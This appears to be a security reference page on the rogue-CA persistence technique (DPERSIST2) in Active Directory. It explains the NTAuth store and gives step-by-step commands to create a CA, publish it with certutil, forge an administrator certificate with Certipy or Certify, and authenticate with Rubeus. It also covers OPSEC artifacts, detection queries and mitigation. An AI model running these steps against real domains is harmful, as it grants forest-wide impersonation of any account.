How it works
Active Directory does not accept a logon certificate from every CA that Windows trusts. For Kerberos certificate logon, the issuing CA's certificate must be listed in the NTAuthCertificates object in the configuration partition (CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,...). Enterprise CAs are added to it when they are installed. Domain members cache its contents in the registry when Group Policy refreshes, and a domain controller checks the cached list when it validates a client certificate.
The object is replicated to every domain in the forest, and by default only Enterprise Admins and the administrators of the forest root domain can write it. An attacker who reaches that level, or who was granted write access to the PKI containers (ESC5), can add one more certificate to the list: the certificate of a CA they created themselves. The Certified Pre-Owned research calls this DPERSIST2.
From then on the attacker's CA is an issuer for logon in the whole forest. Its private key was generated on the attacker's system and never touched the environment. The attacker signs certificates with it exactly as with a stolen CA key in a Golden Certificate attack, and the domain controllers accept them.
Three checks still apply to each forged certificate, and the attacker has to satisfy all of them:
- Chain. The certificate must chain to a root that the domain controller trusts. A self-signed rogue CA therefore also has to be in the trusted roots, which the same directory rights allow by publishing it to the Certification Authorities container that domain members import as trusted roots.
- Usage. The certificate needs an authentication EKU, and tools add a CRL distribution point because the KDC can reject a certificate that has none.
- Mapping. Under Full Enforcement the certificate needs a strong mapping. Since the attacker writes the certificate, they put the target's SID into the security extension. A strong explicit mapping in the target's
altSecurityIdentitiesis the alternative.
The separate vulnerability CVE-2025-26647 concerned domain controllers that accepted certificates from trusted CAs that were not in NTAuth; it is covered on the Kerberos NTAuth bypass page. The technique here is the opposite case: the issuer is in NTAuth, because the attacker put it there.
Prerequisites
- Write access to the
NTAuthCertificatesobject, and for a self-signed CA also to theCertification Authoritiescontainer under Public Key Services. Enterprise Admins hold both. - A CA certificate and private key of the attacker's own making.
- Time for the change to replicate and for domain controllers to refresh their cached copy through Group Policy.
- The SID of each account to impersonate.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Create a CA certificate and key
On the attacker's system, with a name that blends into the existing PKI:
openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -nodes \
-keyout rogue-ca.key -out rogue-ca.crt \
-subj "/DC=com/DC=example/DC=corp/CN=CORP-CA2" \
-addext "basicConstraints=critical,CA:TRUE" \
-addext "keyUsage=critical,keyCertSign,cRLSign"
openssl pkcs12 -export -in rogue-ca.crt -inkey rogue-ca.key -out rogue-ca.pfx
2. Publish it to the NTAuth store
From a session with the required rights, Microsoft's documented command adds the certificate to NTAuthCertificates:
certutil -dspublish -f rogue-ca.crt NTAuthCA
For a self-signed CA, publish it as a root as well so that chains to it validate:
certutil -dspublish -f rogue-ca.crt RootCA
3. Wait for the change to reach the domain controllers, then verify
The directory change replicates, and each computer updates its registry copy of the store when Group Policy refreshes. Confirm what a domain member sees:
gpupdate /force
certutil -enterprise -viewstore NTAuth
4. Forge a logon certificate with the rogue CA
Certipy signs a certificate for the target with the rogue CA's PFX, including the SID and a CRL distribution point:
certipy forge -ca-pfx 'rogue-ca.pfx' \
-upn 'administrator@corp.example.com' \
-sid 'S-1-5-21-1004336348-1177238915-682003330-500' \
-crl 'ldap:///'
Certify 2.x does the same on Windows:
Certify.exe forge --ca-cert rogue-ca.pfx --upn Administrator --sid S-1-5-21-1004336348-1177238915-682003330-500
5. Authenticate
certipy auth -pfx 'administrator_forged.pfx' -dc-ip 192.0.2.10
Rubeus.exe asktgt /user:Administrator /certificate:<base64-pfx> /ptt
Steps 4 and 5 can be repeated for any account, in any domain of the forest, for as long as the entry stays in the store.
Impact
This is forest-wide persistence. The attacker keeps the ability to become any user or computer, in every domain, independent of passwords, the krbtgt key and the organization's own CAs. Rebuilding or replacing the legitimate CA after an incident does not remove it, because the trust sits in the directory, not on a CA server.
It also defeats the usual assumption behind PKI incident response, that the set of issuers is known. Until someone compares the NTAuth store with the list of intended CAs, a certificate from the rogue issuer looks like any other valid logon.
OPSEC and artifacts
- One or two directory writes. Publishing adds a value to
cACertificateonNTAuthCertificatesand, for a self-signed CA, creates or modifies an object in the Certification Authorities container. With directory change auditing and a SACL on the Public Key Services subtree, domain controllers log event 5136 for the attribute and event 5137 for a new object. Event 4662 records the access where object access auditing covers it. - The entry is permanent and public. Any authenticated user can read the NTAuth store. An operator chooses a subject name close to the real CA's to survive a casual look, but the thumbprint and key differ, and the certificate was never issued by or installed on any CA server.
- Changes to this object are rare. The store changes when a CA is installed, renewed or decommissioned. There is no routine activity to hide in.
- Forged certificates have no issuance trail anywhere. There is no CA database at all for the rogue issuer.
- The logon names the issuer. Event 4768 on the domain controller records the certificate's issuer name, serial number and thumbprint. An issuer name that is not one of the organization's CAs, or that is one letter away from it, identifies the rogue CA in use.
- Registry copies. Every domain member caches the store, so the rogue certificate is also present in the registry of each computer after policy refresh, and remains there until the next refresh after removal.
Detection
- Writes to the NTAuth object and the CA containers. Alert on every 5136, 5137 and 5141 whose object is under
CN=Public Key Services,CN=Servicesand especially oncACertificateofNTAuthCertificates. The NTAuth store and PKI trust object rules cover these writes. - Store inventory. Export the NTAuth store on a schedule and compare thumbprints against the approved list. A difference is a finding without any further evidence.
- Unknown issuers in certificate logons. Group 4768 events with certificate fields by
CertIssuerNameand alert on a new value. The weak certificate mapping rules add coverage for privileged accounts that start using certificates. - Issuers outside NTAuth. KDC events for certificates that chain to a CA not in the store indicate a different misuse of trust and are covered by the certificate outside NTAuth rules.
// Changes to PKI trust objects in the configuration partition
WindowsEvent
| where EventID in (5136, 5137, 5141) and Provider == "Microsoft-Windows-Security-Auditing"
| extend ObjectDN = tostring(EventData.ObjectDN),
Attribute = tostring(EventData.AttributeLDAPDisplayName),
Actor = tostring(EventData.SubjectUserName)
| where ObjectDN contains "CN=Public Key Services,CN=Services,"
| where ObjectDN startswith "CN=NTAuthCertificates" or ObjectDN contains "CN=Certification Authorities" or ObjectDN contains "CN=AIA"
| project TimeGenerated, Computer, EventID, Actor, ObjectDN, Attribute
These events need Audit Directory Service Changes on domain controllers and a SACL on the Public Key Services container that audits writes and child object creation; the audit policy guide covers the policy side.
Mitigation
- Limit and monitor who can write the PKI containers. Review the DACL and owner of
NTAuthCertificates, the Certification Authorities container and the rest of Public Key Services against a known-good baseline. Only Tier 0 administrators should have write access; remove delegations to PKI operators that are broader than needed. - Protect the forest root. The default writers are the forest root domain's administrators and Enterprise Admins. The controls in the Active Directory hardening guide for those groups are the controls for this object.
- Keep an approved issuer list with thumbprints, and check the store against it after every PKI change and on a schedule.
- Keep domain controllers patched and in Full Enforcement. This does not stop a rogue CA whose certificates carry a SID, but it removes weaker certificates and enforces the NTAuth check for explicit mappings.
- Include the store in incident response. After any Tier 0 compromise, verify NTAuth, the trusted root containers and the PKI object permissions before declaring the environment clean.
- Removing a rogue CA. Delete its certificate from
NTAuthCertificatesand from the root container (the PKI Health Tool,pkiview.msc, manages both), force replication and a policy refresh on domain controllers, and then review 4768 events for logons that used the issuer. Treat every account it could impersonate as exposed for the time the entry existed.
Detection rules for this attack
Log events to collect
FAQ
What is the NTAuth store?
The NTAuthCertificates object under CN=Public Key Services,CN=Services in the configuration partition. Its cACertificate attribute lists the CA certificates whose certificates may be used to log on to Active Directory. Windows computers cache the list in their registry, and a domain controller refuses a logon certificate whose issuing CA is not on it.
How is a rogue CA different from a golden certificate?
A golden certificate is forged with the stolen key of the organization's real CA. With a rogue CA the attacker creates their own CA key and makes the forest trust it. Nothing is stolen from the CA server, an HSM does not help, and replacing the real CA does not remove the backdoor. On the other hand it leaves a visible object in the directory.
Does the rogue CA also need to be a trusted root?
Yes. The NTAuth entry authorizes the issuer for logon, but the domain controller must also build a valid chain from the logon certificate to a root it trusts. An attacker with the same rights publishes a self-signed CA certificate to the forest's root CA container as well, or uses a CA certificate that already chains to a trusted root.
How do I check the NTAuth store?
Run certutil -enterprise -viewstore NTAuth on a domain member and compare each certificate with your list of enterprise CAs. Every entry should be a CA you operate and intend to use for logon. Record thumbprints, so a certificate with a familiar name and a different key is noticed.
References
- Certified Pre-Owned: Abusing Active Directory Certificate Services, DPERSIST2 (SpecterOps)
- How to import third-party certification authority certificates into the Enterprise NTAuth store (Microsoft Learn)
- Steal or Forge Authentication Certificates, T1649 (MITRE ATT&CK)
- Modify Authentication Process, T1556 (MITRE ATT&CK)
- KB5057784: Protections for CVE-2025-26647, Kerberos authentication (Microsoft Support)
- Certipy wiki: Post-Exploitation, forging certificates
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.